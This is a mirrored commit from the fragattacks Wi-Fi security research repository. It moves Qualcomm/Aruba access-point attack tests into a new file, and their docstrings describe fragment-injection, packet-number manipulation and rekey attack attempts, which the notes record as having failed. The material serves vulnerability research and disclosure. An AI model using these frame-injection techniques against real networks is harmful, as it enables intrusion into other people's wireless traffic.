mirror of
https://github.com/vanhoefm/fragattacks.git
synced 2025-02-26 13:49:35 -05:00
fragattack: failed Aruba AP attack tests
This commit is contained in:
parent
f612f6e6e3
commit
3dceb7ef74
@ -5,6 +5,8 @@ import argparse
|
|||||||
from wpaspy import Ctrl
|
from wpaspy import Ctrl
|
||||||
from scapy.contrib.wpa_eapol import WPA_key
|
from scapy.contrib.wpa_eapol import WPA_key
|
||||||
|
|
||||||
|
from tests_qca import *
|
||||||
|
|
||||||
# Ath9k_htc dongle notes:
|
# Ath9k_htc dongle notes:
|
||||||
# - The ath9k_htc devices by default overwrite the injected sequence number.
|
# - The ath9k_htc devices by default overwrite the injected sequence number.
|
||||||
# However, this number is not incremented when the MoreFragments flag is set,
|
# However, this number is not incremented when the MoreFragments flag is set,
|
||||||
@ -359,148 +361,6 @@ class EapolMsduTest(Test):
|
|||||||
self.actions[1].frame = frames[0]
|
self.actions[1].frame = frames[0]
|
||||||
|
|
||||||
|
|
||||||
class QcaDriverTest(Test):
|
|
||||||
"""
|
|
||||||
Against the Aruba AP we cannot send a normal frame between two fragments. Reverse engineering
|
|
||||||
showed that the normal frame causes the fragment cache to be cleared.
|
|
||||||
|
|
||||||
We can work around this by injecting the normal frame (e.g. an EAPOL frame we want to inject
|
|
||||||
in between fragments) as a fragmented frame as well. As a result, the fragment cache will not
|
|
||||||
be cleared.
|
|
||||||
|
|
||||||
Although the above avoids the fragment cache from being cleared, the Aruba AP still may not
|
|
||||||
reassembly the fragments. This is because the second fragment may now hav a higher packet number
|
|
||||||
compared to the fragmented frames we injected in between (it seems no per-QoS replay counter
|
|
||||||
is being used by them). So we must assure packet numbers are higher than the previous frame(s)
|
|
||||||
NOT at the time of reception, but at the time of defragmentation (i.e. once all fragments arrived).
|
|
||||||
"""
|
|
||||||
def __init__(self, ptype):
|
|
||||||
super().__init__([Action(Action.Connected, Action.GetIp),
|
|
||||||
Action(Action.Connected, enc=True, inc_pn=2, delay=0.2), # 102
|
|
||||||
Action(Action.Connected, enc=True, inc_pn=-2), # 100
|
|
||||||
Action(Action.Connected, enc=True, inc_pn=1), # 101
|
|
||||||
Action(Action.Connected, enc=True, inc_pn=2, delay=2)]) # 103
|
|
||||||
self.ptype = ptype
|
|
||||||
self.check_fn = None
|
|
||||||
|
|
||||||
def check(self, p):
|
|
||||||
if self.check_fn == None:
|
|
||||||
return False
|
|
||||||
return self.check_fn(p)
|
|
||||||
|
|
||||||
def generate(self, station):
|
|
||||||
log(STATUS, "Generating QCA driver test", color="green")
|
|
||||||
|
|
||||||
# Generate the header and payload
|
|
||||||
header1, request1, self.check_fn = generate_request(station, self.ptype, prior=2)
|
|
||||||
header2, request2, self.check_fn = generate_request(station, self.ptype, prior=4)
|
|
||||||
header1.SC = 10 << 4
|
|
||||||
header2.SC = 20 << 4
|
|
||||||
|
|
||||||
# Generate all the individual (fragmented) frames
|
|
||||||
frames1 = create_fragments(header1, request1, 2)
|
|
||||||
frames2 = create_fragments(header2, request2, 2)
|
|
||||||
|
|
||||||
self.actions[0].frame = frames1[0]
|
|
||||||
self.actions[1].frame = frames2[0]
|
|
||||||
self.actions[2].frame = frames2[1]
|
|
||||||
self.actions[3].frame = frames1[1]
|
|
||||||
|
|
||||||
|
|
||||||
class QcaTestSplit(Test):
|
|
||||||
"""
|
|
||||||
Mixed encrypted and plaintext are both queued in ol_rx_reorder_store_frag,
|
|
||||||
and both forwarded when all fragments are collected. But when sending
|
|
||||||
[Encrypted, plaintext] and [plaintext, encrypted] the two encrypted fragments
|
|
||||||
are not reassembled. So we cannot this this trick.
|
|
||||||
"""
|
|
||||||
def __init__(self, ptype):
|
|
||||||
super().__init__([Action(Action.Connected, Action.GetIp),
|
|
||||||
Action(Action.Connected, enc=False, delay=0.2), # 100 (dropped b/c plaintext)
|
|
||||||
Action(Action.Connected, enc=True, inc_pn=5), # 105
|
|
||||||
Action(Action.Connected, enc=True, inc_pn=-1), # 104
|
|
||||||
Action(Action.Connected, enc=False)]) # 112 (dropped b plaintext)
|
|
||||||
self.ptype = ptype
|
|
||||||
self.check_fn = None
|
|
||||||
|
|
||||||
def check(self, p):
|
|
||||||
if self.check_fn == None:
|
|
||||||
return False
|
|
||||||
return self.check_fn(p)
|
|
||||||
|
|
||||||
def generate(self, station):
|
|
||||||
log(STATUS, "Generating QCA driver test", color="green")
|
|
||||||
|
|
||||||
# Generate the header and payload
|
|
||||||
header1, request1, self.check_fn = generate_request(station, self.ptype, prior=2)
|
|
||||||
header2, request2, self.check_fn = generate_request(station, self.ptype, prior=2)
|
|
||||||
header1.SC = 10 << 4
|
|
||||||
header2.SC = 10 << 4
|
|
||||||
|
|
||||||
# Generate all the individual (fragmented) frames
|
|
||||||
frames1 = create_fragments(header1, request1 / Raw(b"1"), 2)
|
|
||||||
frames2 = create_fragments(header2, request2 / Raw(b"2"), 2)
|
|
||||||
|
|
||||||
self.actions[0].frame = frames1[0]
|
|
||||||
self.actions[1].frame = frames2[1] # hopefully dropped
|
|
||||||
self.actions[2].frame = frames2[0] # hopefully dropped
|
|
||||||
self.actions[3].frame = frames1[1]
|
|
||||||
|
|
||||||
self.actions[0].frame.TID = 2
|
|
||||||
self.actions[1].frame.TID = 2
|
|
||||||
self.actions[2].frame.TID = 2
|
|
||||||
self.actions[3].frame.TID = 2
|
|
||||||
|
|
||||||
#self.actions[2].frame.addr3 = "ff:ff:ff:ff:ff:ff"
|
|
||||||
|
|
||||||
|
|
||||||
class QcaDriverRekey(Test):
|
|
||||||
def __init__(self, ptype):
|
|
||||||
super().__init__([Action(Action.Connected, Action.GetIp), # Get IP
|
|
||||||
Action(Action.Connected, Action.Rekey), # Wait for rekey
|
|
||||||
Action(Action.BeforeAuth, enc=True, inc_pn=2), # Inject first fragment ping
|
|
||||||
Action(Action.BeforeAuth, func=self.fragment_msg4), # Fragment Msg4
|
|
||||||
Action(Action.BeforeAuth, enc=True, inc_pn=-2), # Inject first fragment Msg4
|
|
||||||
Action(Action.BeforeAuth, enc=True, inc_pn=1), # Inject second fragment Msg4
|
|
||||||
Action(Action.AfterAuth, enc=True, inc_pn=2)]) # Inject second fragment ping
|
|
||||||
self.ptype = ptype
|
|
||||||
self.check_fn = None
|
|
||||||
|
|
||||||
def fragment_msg4(self, station, eapol):
|
|
||||||
header = station.get_header(prior=4)
|
|
||||||
header.SC = 10 << 4
|
|
||||||
|
|
||||||
payload = LLC()/SNAP()/eapol
|
|
||||||
|
|
||||||
frags = create_fragments(header, payload, 2)
|
|
||||||
|
|
||||||
# All Connected and BeforeAuth actions have been popped by now
|
|
||||||
self.actions[0].frame = frags[0]
|
|
||||||
self.actions[1].frame = frags[1]
|
|
||||||
|
|
||||||
# Prevent Station code from sending the EAPOL frame
|
|
||||||
return True
|
|
||||||
|
|
||||||
def check(self, p):
|
|
||||||
if self.check_fn == None:
|
|
||||||
return False
|
|
||||||
return self.check_fn(p)
|
|
||||||
|
|
||||||
def generate(self, station):
|
|
||||||
log(STATUS, "Generating QCA driver test", color="green")
|
|
||||||
|
|
||||||
# Generate the header and payload
|
|
||||||
header, request, self.check_fn = generate_request(station, self.ptype, prior=2)
|
|
||||||
header.SC = 20 << 4
|
|
||||||
|
|
||||||
# Generate all the individual (fragmented) frames
|
|
||||||
frames = create_fragments(header, request, 2)
|
|
||||||
|
|
||||||
# All Connected actions have been popped by now
|
|
||||||
self.actions[0].frame = frames[0]
|
|
||||||
self.actions[4].frame = frames[1]
|
|
||||||
|
|
||||||
|
|
||||||
# ----------------------------------- Abstract Station Class -----------------------------------
|
# ----------------------------------- Abstract Station Class -----------------------------------
|
||||||
|
|
||||||
class Station():
|
class Station():
|
||||||
@ -761,11 +621,15 @@ class Station():
|
|||||||
|
|
||||||
return result
|
return result
|
||||||
|
|
||||||
def handle_authenticated(self):
|
def update_keys(self):
|
||||||
"""Called after completion of the 4-way handshake or similar"""
|
log(STATUS, "Requesting keys from wpa_supplicant")
|
||||||
self.tk = self.daemon.get_tk(self)
|
self.tk = self.daemon.get_tk(self)
|
||||||
self.gtk, self.gtk_idx = self.daemon.get_gtk()
|
self.gtk, self.gtk_idx = self.daemon.get_gtk()
|
||||||
|
|
||||||
|
def handle_authenticated(self):
|
||||||
|
"""Called after completion of the 4-way handshake or similar"""
|
||||||
|
self.update_keys()
|
||||||
|
|
||||||
# Note that self.time_connect may get changed in perform_actions
|
# Note that self.time_connect may get changed in perform_actions
|
||||||
log(STATUS, "Action.AfterAuth", color="green")
|
log(STATUS, "Action.AfterAuth", color="green")
|
||||||
self.time_connected = time.time() + 1
|
self.time_connected = time.time() + 1
|
||||||
@ -1218,18 +1082,19 @@ def cleanup():
|
|||||||
|
|
||||||
def prepare_tests(test_name):
|
def prepare_tests(test_name):
|
||||||
if test_name == "qca_test":
|
if test_name == "qca_test":
|
||||||
test = QcaDriverTest(REQ_ICMP)
|
test = QcaDriverTest()
|
||||||
|
|
||||||
elif test_name == "qca_split":
|
elif test_name == "qca_split":
|
||||||
test = QcaTestSplit(REQ_ICMP)
|
test = QcaTestSplit()
|
||||||
|
|
||||||
elif test_name == "qca_rekey":
|
elif test_name == "qca_rekey":
|
||||||
test = QcaDriverRekey(REQ_ICMP)
|
test = QcaDriverRekey()
|
||||||
|
|
||||||
elif test_name == "ping":
|
elif test_name == "ping":
|
||||||
# Simple ping as sanity check
|
# Simple ping as sanity check
|
||||||
test = PingTest(REQ_ARP,
|
test = PingTest(REQ_ICMP,
|
||||||
[Action(Action.Connected, enc=True)])
|
[Action(Action.Connected, action=Action.GetIp),
|
||||||
|
Action(Action.Connected, enc=True)])
|
||||||
|
|
||||||
elif test_name == "ping_frag":
|
elif test_name == "ping_frag":
|
||||||
# Simple ping as sanity check
|
# Simple ping as sanity check
|
||||||
|
198
research/tests_qca.py
Normal file
198
research/tests_qca.py
Normal file
@ -0,0 +1,198 @@
|
|||||||
|
from fragattack import *
|
||||||
|
|
||||||
|
class QcaDriverTest(Test):
|
||||||
|
"""
|
||||||
|
Against the Aruba AP we cannot send a normal frame between two fragments. Reverse engineering
|
||||||
|
showed that the normal frame causes the fragment cache to be cleared on the AP, even before
|
||||||
|
the raw fragment(s) are forwarded to the controller.
|
||||||
|
|
||||||
|
We tried to work around this by injecting the normal frame (e.g. an EAPOL frame we want to inject
|
||||||
|
in between fragments) as a fragmented frame as well. As a result, the fragment cache will not
|
||||||
|
be cleared.
|
||||||
|
|
||||||
|
Although the above avoids the fragment cache from being cleared, the Aruba AP still may not
|
||||||
|
reassemble the fragments. This is because the second fragment may now have a higher packet number
|
||||||
|
compared to the fragmented frames we injected in between (it seems no per-QoS replay counter
|
||||||
|
is being used by them). So we must assure packet numbers are higher than the previous frame(s)
|
||||||
|
NOT at the time of reception, but at the time of defragmentation (i.e. once all fragments arrived).
|
||||||
|
|
||||||
|
But even with all this, the big issue is that the AP will queue all frames untill all fragments
|
||||||
|
are collected. So the very first fragment we inject, will only arrive at the AP *after* the
|
||||||
|
other fragments. And that makes this technique fairly useless. We tried to work around this in
|
||||||
|
another way in QcaDriverSplit().
|
||||||
|
"""
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__([Action(Action.Connected, Action.GetIp),
|
||||||
|
Action(Action.Connected, enc=True, inc_pn=2, delay=0.2), # 102
|
||||||
|
Action(Action.Connected, enc=True, inc_pn=-2), # 100
|
||||||
|
Action(Action.Connected, enc=True, inc_pn=1), # 101
|
||||||
|
Action(Action.Connected, enc=True, inc_pn=2, delay=2)]) # 103
|
||||||
|
self.check_fn = None
|
||||||
|
|
||||||
|
def check(self, p):
|
||||||
|
if self.check_fn == None:
|
||||||
|
return False
|
||||||
|
return self.check_fn(p)
|
||||||
|
|
||||||
|
def generate(self, station):
|
||||||
|
log(STATUS, "Generating QCA driver test", color="green")
|
||||||
|
|
||||||
|
# Generate the header and payload
|
||||||
|
header1, request1, self.check_fn = generate_request(station, REQ_ICMP, prior=2)
|
||||||
|
header2, request2, self.check_fn = generate_request(station, REQ_ICMP, prior=4)
|
||||||
|
header1.SC = 10 << 4
|
||||||
|
header2.SC = 20 << 4
|
||||||
|
|
||||||
|
# Generate all the individual (fragmented) frames
|
||||||
|
frames1 = create_fragments(header1, request1, 2)
|
||||||
|
frames2 = create_fragments(header2, request2, 2)
|
||||||
|
|
||||||
|
self.actions[0].frame = frames1[0]
|
||||||
|
self.actions[1].frame = frames2[0]
|
||||||
|
self.actions[2].frame = frames2[1]
|
||||||
|
self.actions[3].frame = frames1[1]
|
||||||
|
|
||||||
|
|
||||||
|
class QcaTestSplit(Test):
|
||||||
|
"""
|
||||||
|
Mixed encrypted and plaintext are both queued in ol_rx_reorder_store_frag,
|
||||||
|
and both forwarded when all fragments are collected. So the idea is to send
|
||||||
|
one fragment in plaintext, and one encrypted, under the same sequence number.
|
||||||
|
This will cause ol_rx_reorder_store_frag to forward both fragments to the
|
||||||
|
controller that will perform the actual defragmentation. Essential remarks:
|
||||||
|
|
||||||
|
- Sending [Encrypted, Plaintext] and [Plaintext, Encrypted] failed. It is
|
||||||
|
not clear why this is the case.
|
||||||
|
|
||||||
|
- You must send [Plaintext, Encrypted2] and [Encrypted1, Plaintext]. Note that
|
||||||
|
we first inject Encrypted2, which has a *higher* packet number than Encrypted1.
|
||||||
|
Without adhering to this order, the fragments will not be reassembled.
|
||||||
|
|
||||||
|
- The Packet Number of the frame injected in between the two fragment pairs
|
||||||
|
must be *lower* than the Packet Numbers of both Encrypted fragments. Otherwise
|
||||||
|
the fragments will not be reassembled. This means the fragmented frames are
|
||||||
|
processed after the full frame! So the first encrypted fragment does not
|
||||||
|
seem to be immediately decrypted... this is problematic for the rekey attack,
|
||||||
|
since it seems both fragments are only processed once they are both at the
|
||||||
|
controller as well.
|
||||||
|
|
||||||
|
- This test currently requires manual verification in Wireshark to assure that
|
||||||
|
a reply is received to *BOTH* pings.
|
||||||
|
|
||||||
|
- At the controller, two fragments with a different QoS TID will be reassembled.
|
||||||
|
So only the sequence number matters. This is in constrast with the AP where
|
||||||
|
the TID does influence the queue a fragment is put on. So the defragmentation
|
||||||
|
code (and the queue design) is different between the AP and controller.
|
||||||
|
"""
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__([Action(Action.Connected, Action.GetIp),
|
||||||
|
Action(Action.Connected, enc=False, delay=0.2), # 100 (dropped b/c plaintext)
|
||||||
|
Action(Action.Connected, enc=True, inc_pn=5), # 105
|
||||||
|
|
||||||
|
Action(Action.Connected, enc=True, inc_pn=-2), # 103
|
||||||
|
|
||||||
|
Action(Action.Connected, enc=True, inc_pn=1), # 104
|
||||||
|
Action(Action.Connected, enc=False)]) # 112 (dropped b plaintext)
|
||||||
|
self.check_fn = None
|
||||||
|
|
||||||
|
def check(self, p):
|
||||||
|
if self.check_fn == None:
|
||||||
|
return False
|
||||||
|
return self.check_fn(p)
|
||||||
|
|
||||||
|
def generate(self, station):
|
||||||
|
log(STATUS, "Generating QCA driver test", color="green")
|
||||||
|
|
||||||
|
# Generate the header and payload
|
||||||
|
header1, request1, self.check_fn = generate_request(station, REQ_ICMP, prior=2)
|
||||||
|
header2, request2, self.check_fn = generate_request(station, REQ_ICMP, prior=2)
|
||||||
|
header1.SC = 10 << 4
|
||||||
|
header2.SC = 10 << 4
|
||||||
|
|
||||||
|
# Generate all the individual (fragmented) frames
|
||||||
|
frames1 = create_fragments(header1, request1 / Raw(b"1"), 2)
|
||||||
|
frames2 = create_fragments(header2, request2 / Raw(b"2"), 2)
|
||||||
|
|
||||||
|
self.actions[0].frame = frames1[0]
|
||||||
|
self.actions[1].frame = frames2[1]
|
||||||
|
self.actions[3].frame = frames2[0]
|
||||||
|
self.actions[4].frame = frames1[1]
|
||||||
|
|
||||||
|
self.actions[0].frame.TID = 4
|
||||||
|
self.actions[1].frame.TID = 4
|
||||||
|
self.actions[3].frame.TID = 6
|
||||||
|
self.actions[4].frame.TID = 6
|
||||||
|
|
||||||
|
# Frame to put in between them
|
||||||
|
if False:
|
||||||
|
self.actions[2].frame = station.get_header(seqnum=11, prior=4)/LLC()/SNAP()/IP()
|
||||||
|
else:
|
||||||
|
header, request, self.check_fn = generate_request(station, self.ptype, prior=2)
|
||||||
|
header.SC = 11 << 4
|
||||||
|
self.actions[2].frame = header/request/Raw(b"3")
|
||||||
|
|
||||||
|
#self.actions[2].frame.addr3 = "ff:ff:ff:ff:ff:ff"
|
||||||
|
|
||||||
|
|
||||||
|
class QcaDriverRekey(Test):
|
||||||
|
"""
|
||||||
|
This attack fails because of the reasons discussed in QcaDriverSplit().
|
||||||
|
Summarized, the two fragments still seem to be queued by the controller,
|
||||||
|
meaning they are likely both still decrypted using the same (new) key.
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__([Action(Action.Connected, Action.GetIp),
|
||||||
|
Action(Action.Connected, Action.Rekey),
|
||||||
|
|
||||||
|
Action(Action.BeforeAuth, enc=False, delay=0.2), # | dropped b/c plaintext
|
||||||
|
Action(Action.BeforeAuth, enc=True, inc_pn=5), # 105 | first fragment of ping
|
||||||
|
|
||||||
|
Action(Action.BeforeAuth, func=self.save_msg4), # | Save Msg4 so we control PN
|
||||||
|
Action(Action.BeforeAuth, enc=True, inc_pn=-2), # 103 | Msg4
|
||||||
|
|
||||||
|
Action(Action.BeforeAuth, func=self.get_key), # | We get the new key immediately
|
||||||
|
Action(Action.BeforeAuth, enc=True, inc_pn=1), # 104 | second fragment of ping
|
||||||
|
Action(Action.BeforeAuth, enc=False)]) # | dropped b plaintext
|
||||||
|
|
||||||
|
self.check_fn = None
|
||||||
|
|
||||||
|
def save_msg4(self, station, eapol):
|
||||||
|
header = station.get_header(prior=4)
|
||||||
|
header.SC = 11 << 4
|
||||||
|
|
||||||
|
payload = LLC()/SNAP()/eapol
|
||||||
|
|
||||||
|
# Only the last BeforeAuth trigger is remaining
|
||||||
|
self.actions[0].frame = header/payload
|
||||||
|
|
||||||
|
def get_key(self, station, eapol):
|
||||||
|
station.update_keys()
|
||||||
|
|
||||||
|
# Prevent Station code from sending the EAPOL frame
|
||||||
|
return True
|
||||||
|
|
||||||
|
def check(self, p):
|
||||||
|
if self.check_fn == None:
|
||||||
|
return False
|
||||||
|
return self.check_fn(p)
|
||||||
|
|
||||||
|
def generate(self, station):
|
||||||
|
log(STATUS, "Generating QCA driver test", color="green")
|
||||||
|
|
||||||
|
# Generate the header and payload
|
||||||
|
header1, request1, self.check_fn = generate_request(station, REQ_ICMP, prior=2)
|
||||||
|
header2, request2, self.check_fn = generate_request(station, REQ_ICMP, prior=2)
|
||||||
|
header1.SC = 10 << 4
|
||||||
|
header2.SC = 10 << 4
|
||||||
|
|
||||||
|
# Generate all the individual (fragmented) frames
|
||||||
|
frames1 = create_fragments(header1, request1 / Raw(b"1"), 2)
|
||||||
|
frames2 = create_fragments(header2, request2 / Raw(b"2"), 2)
|
||||||
|
|
||||||
|
# All Connected actions have been popped by now
|
||||||
|
self.actions[0].frame = frames1[0] # hopefully dropped
|
||||||
|
self.actions[1].frame = frames2[1]
|
||||||
|
self.actions[5].frame = frames2[0]
|
||||||
|
self.actions[6].frame = frames1[1] # hopefully dropped
|
||||||
|
|
Loading…
x
Reference in New Issue
Block a user